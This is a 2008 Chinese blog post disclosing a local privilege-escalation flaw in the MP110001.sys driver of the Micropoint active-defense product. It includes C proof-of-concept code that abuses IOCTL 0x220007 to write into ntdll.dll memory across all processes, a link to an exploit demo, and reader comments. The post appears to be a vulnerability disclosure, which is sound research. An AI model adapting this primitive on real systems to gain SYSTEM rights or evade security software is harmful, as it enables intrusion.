百度空间 | 百度首页 
               
 
查看文章
 
微点主动防御(version20081008)及以下本地权限提升漏洞(user权限下绕过UAC、主动防御)
2008-10-08 21:12

微点主动防御是一款号称使用行为分析技术实时保护的主动防御软件。

其核心驱动MP110001.SYS最新版本存在本地权限提升漏洞,可导致任何权限的用户在本地提升权限到SYSTEM权限,绕过UAC等保护。同时也可以利用此漏洞注入到任何受保护进程,从而穿透防火墙、主动防御软件。

出问题的组件:MP110001.sys,版本号:1.2.10006 CheckSum = 0x00009F60 TimeStamp = 0x43620505

该驱动提供了一个接口,允许RING3程序将一块数据COPY到地址0-0x80000000的任意地址,在写入时会将寄存器CR0的第16位置0,此时CPU的页保护机制就会失效,WINDOWS NT 的CopyOnWrite机制也将失效,RING3程序可以将内存写入到系统模块,例如kernel32.dll, user32.dll的地址,改写它们的代码,此时对系统DLL代码的改写会在所有进程体内同时生效.

通过这一接口,任何权限的RING3程序就可以HOOK或旁路系统任何进程的函数调用,从而进行权限提升,如果HOOK进主动防御、防火墙等的进程体内,则可绕过主动防御软件的保护。

测试代码:


HANDLE hdev = CreateFile("\\\\.\\MP110001" ,
   FILE_READ_ATTRIBUTES ,
   FILE_SHARE_READ |FILE_SHARE_WRITE ,
   0,
   OPEN_EXISTING ,
   0,
   0);

if (hdev == INVALID_HANDLE_VALUE)
{

   CHAR xx[100];
   sprintf(xx , "create err = %u\n" , GetLastError());
   MessageBox(xx, 0 , 0 );
   return ;
}

CHAR xx[] = "hello mp!";

HMODULE p = GetModuleHandle("ntdll.dll");

ULONG btr ;

BOOL bret = DeviceIoControl(hdev ,
   0x220007,
   (PVOID)((ULONG)p + 2 ),
   strlen(xx)+1 ,
   xx,
   0,
   &btr ,
   0
   );

CloseHandle(hdev);

测试代码会向NTDLL.DLL的DOS头第二个字节开始写入一个字符串“hello mp",此修改将在系统任何进程体内生效,可使用OD、WINDBG,WINHEX等工具查看

测试程序下载:http://mj0011.ys168.com 漏洞演示目录下LOCALexp_MP.rar


类别:默认分类 | 添加到搜藏 | 浏览() | 评论 (13)
 
最近读者:
 
网友评论:
1
2008-10-08 21:16 | 回复
强大,看不懂
 
2
2008-10-08 21:24 | 回复
靠,太NB了
 
3
2008-10-08 21:24 | 回复
犹豫了一下沙发就没了
 
4
2008-10-08 21:46 | 回复
微点0x220007号的处理有问题,为啥不能覆盖高端地址,难道微点有判断么?
 
6
2008-10-08 21:50 | 回复
恩 受教了 安全编码真不容易啊!呵呵~~~
 
7
2008-10-08 23:42 | 回复
终于能访问了~~~
 
8
2008-10-09 13:32 | 回复
这个漏洞不得了。。做安全软件还真不容易。。
 
9
2008-10-09 17:49 | 回复
你是牛人呀。
 
10
2008-10-09 21:34 | 回复
ls是微点的>?
 
11
2008-10-10 20:47 | 回复
无心插柳柳成荫
 
12
2008-10-13 00:53 | 回复
居然让低权限进程能直接调用驱动强大的功能。管中窥豹可见一斑,微点的研发,基本功差到哪里去都不知道了,唉。
 
13
2008-10-13 02:20 | 回复
楼上的倒是很少见嘛
 
15
2008-11-01 10:53 | 回复
想必是微点想玩玩Ring3下的全局APIHOOK吧??
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu